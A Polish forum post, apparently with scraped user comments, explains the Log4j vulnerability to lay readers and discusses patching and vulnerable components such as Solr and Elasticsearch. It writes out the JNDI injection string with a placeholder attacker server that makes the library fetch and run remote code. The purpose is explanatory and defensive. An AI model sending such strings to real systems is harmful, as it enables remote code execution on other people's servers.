O co chodzi z podatnością "log4j"? #od0dopentestera Szybkie wyjaśnienie dla osób nietechnicznych.
1. Log4j to bardzo popularna biblioteka używana w aplikacjach stworzonych w języku Java. Służy ona do zapisywania logów z działania programu. Log to chronologiczny zapis tego co dzieje się w systemie informatycznym. Może być przydatny podczas rozwiązywania problemów.
2. Kilka dni temu odkryto błąd w bibliotece. Jeżeli w tekście, który został przesłany do biblioteki znajduje się odpowiednio zapisany adres do strony - to program spróbuje się z nim połączyć a następnie wykonać kod, który tam znalazł.
3. Wykorzystanie tego błędu jest banalnie proste. Wystarczy, że do strony wyślesz ciąg: **${jndi:ldap://tutajadresdotwojegoserwera} Log4j spróbuje wtedy połączyć się z Twoim serwerem i pobrać z niego plik, który następnie postara się uruchomić. Ten plik może być złośliwy.
4. Ale jak ten adres dostaje się do serwera? Czy muszę go przesłać przez formularz? Niestety problem nie dotyczy tylko formularzy. Każde miejsce, które pozwala na przesłanie tekstu może być podatne. Atakujący próbują na oślep wysyłać ten tekst gdziekolwiek tylko jest to możliwe.
5. Podatnych jest tysiące serwerów i programów. Z racji popularności biblioteki jest ona używana w wielu produktach. Co możesz zrobić? Sprawdź, czy nie pojawiła się aktualizacja do Twoich ulubionych aplikacji. Jeśli jesteś programistą to zaktualizuj log4j do wersji 2.15.0**.
6. Więcej technicznych informacji znajdziesz na stronie cert.pl.
@Decode: Nagrałem już kiedyś odcinek, w którym opowiadałem o tych narzędziach. Nie mam fizycznego dostępu do tych kabli - więc ciężko je fizycznie pokazać ;)
@Decode: Jest już sporo filmów na ten temat - np. ten. Nie wiem, czy jestem w stanie nagrać coś lepszego ;) Ja raczej nie nagrywam siebie i przedmiotów - nie mam do tego sprzętu/umiejętności.
@KacperSzurek: myślałem że mogę spać spokojnie ale jedna z aplikacji korzysta z Apache solr i jest panika od rana ( ͡°͜ʖ͡°) wersja już podniesiona jednak gdzieś widziałem info że nie jest to w 100% skuteczne, co o tym myślisz?
@diablik: Wydaje mi się, że opinia: "nie jest na 100% skuteczne" wynika z tego, że nigdy nie wiadomo czy aby inny komponent systemu (gdzieś po drodze) nie korzysta czasem z log4j. Co z tego, że my załatamy swoją aplikację - jeśli jakiś inny komponent tego nie zrobi ;)
@KacperSzurek: w swojej aplikacji masz kontrolę nad tym, co trafi do wynikowego jara. Problemem są np. aplikacje, które odpalają inne komponenty "gdzieś obok". Kolejki, indeksowanie itd. Przykład - bitbucket jako taki nie ma log4j2, ale odpala sobie obok elasticsearch do indeksowania repozytoriów. A ten elasticsearch ma log4j2 w podatnej wersji.
Dość absurdalnie wygląda to w kubernetes, gdzie środowiska OKD/Openshift mają poinstalowany stos ELK do przechowywania logów. Także można przesłać ten
@Hakamairi: Tak, chociaż ta wersja od 2015 nie jest już wspierana i nie wychodzą na nią łatki bezpieczeństwa. Przez to jest podatna na inne błędy - na przykład CVE-2019-17571.
Przez to jest podatna na inne błędy - na przykład CVE-2019-17571.
I tak i nie, wydaje się, że log4j musi nasłuchiwać nadchodzących połączeń na jakimś konkretnym porcie (co nie jest domyślną konfiguracją). Czyli zdockeryzowana apka z domyślną konfiguracją log4j, wystawiająca jedynie port twojej aplikacji powinna być bezpieczna.
oczywiście więcej jest zakładania 2 gumki na penisa, bo większość tych podatności jest do spełnienia tylko w specyficznych warunkach. No, ale lepiej już tak, niż sobie wpuścić randsomware na pokład.
Nasz specjalista od wszystkiego. Od kolei, od dziennikarstwa, od wojny, od rigczu. On widział to już dwa lata temu swoim przenikliwym plebejskim umysłem.
Szybkie wyjaśnienie dla osób nietechnicznych.
1. Log4j to bardzo popularna biblioteka używana w aplikacjach stworzonych w języku Java.
Służy ona do zapisywania logów z działania programu.
Log to chronologiczny zapis tego co dzieje się w systemie informatycznym.
Może być przydatny podczas rozwiązywania problemów.
2. Kilka dni temu odkryto błąd w bibliotece.
Jeżeli w tekście, który został przesłany do biblioteki znajduje się odpowiednio zapisany adres do strony - to program spróbuje się z nim połączyć a następnie wykonać kod, który tam znalazł.
3. Wykorzystanie tego błędu jest banalnie proste.
Wystarczy, że do strony wyślesz ciąg: **${jndi:ldap://tutajadresdotwojegoserwera}
Log4j spróbuje wtedy połączyć się z Twoim serwerem i pobrać z niego plik, który następnie postara się uruchomić.
Ten plik może być złośliwy.
4. Ale jak ten adres dostaje się do serwera?
Czy muszę go przesłać przez formularz?
Niestety problem nie dotyczy tylko formularzy.
Każde miejsce, które pozwala na przesłanie tekstu może być podatne.
Atakujący próbują na oślep wysyłać ten tekst gdziekolwiek tylko jest to możliwe.
5. Podatnych jest tysiące serwerów i programów.
Z racji popularności biblioteki jest ona używana w wielu produktach.
Co możesz zrobić?
Sprawdź, czy nie pojawiła się aktualizacja do Twoich ulubionych aplikacji.
Jeśli jesteś programistą to zaktualizuj log4j do wersji 2.15.0**.
6. Więcej technicznych informacji znajdziesz na stronie cert.pl.
Ps. Takie grafiki umieszczam też na Instagramie i Twitterze.
#programowanie #programista15k #java #bezpieczenstwo #security #polska
Nie mam fizycznego dostępu do tych kabli - więc ciężko je fizycznie pokazać ;)
@LazyInitializationException: A próbowałeś tego?
Nie wiem, czy jestem w stanie nagrać coś lepszego ;)
Ja raczej nie nagrywam siebie i przedmiotów - nie mam do tego sprzętu/umiejętności.
Co z tego, że my załatamy swoją aplikację - jeśli jakiś inny komponent tego nie zrobi ;)
Przykład - bitbucket jako taki nie ma log4j2, ale odpala sobie obok elasticsearch do indeksowania repozytoriów. A ten elasticsearch ma log4j2 w podatnej wersji.
Dość absurdalnie wygląda to w kubernetes, gdzie środowiska OKD/Openshift mają poinstalowany stos ELK do przechowywania logów. Także można przesłać ten
Przez to jest podatna na inne błędy - na przykład CVE-2019-17571.
I tak i nie, wydaje się, że log4j musi nasłuchiwać nadchodzących połączeń na jakimś konkretnym porcie (co nie jest domyślną konfiguracją). Czyli zdockeryzowana apka z domyślną konfiguracją log4j, wystawiająca jedynie port twojej aplikacji powinna być bezpieczna.
https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-7.16.1.html
oczywiście więcej jest zakładania 2 gumki na penisa, bo większość tych podatności jest do spełnienia tylko w specyficznych warunkach. No, ale lepiej już tak, niż sobie wpuścić randsomware na pokład.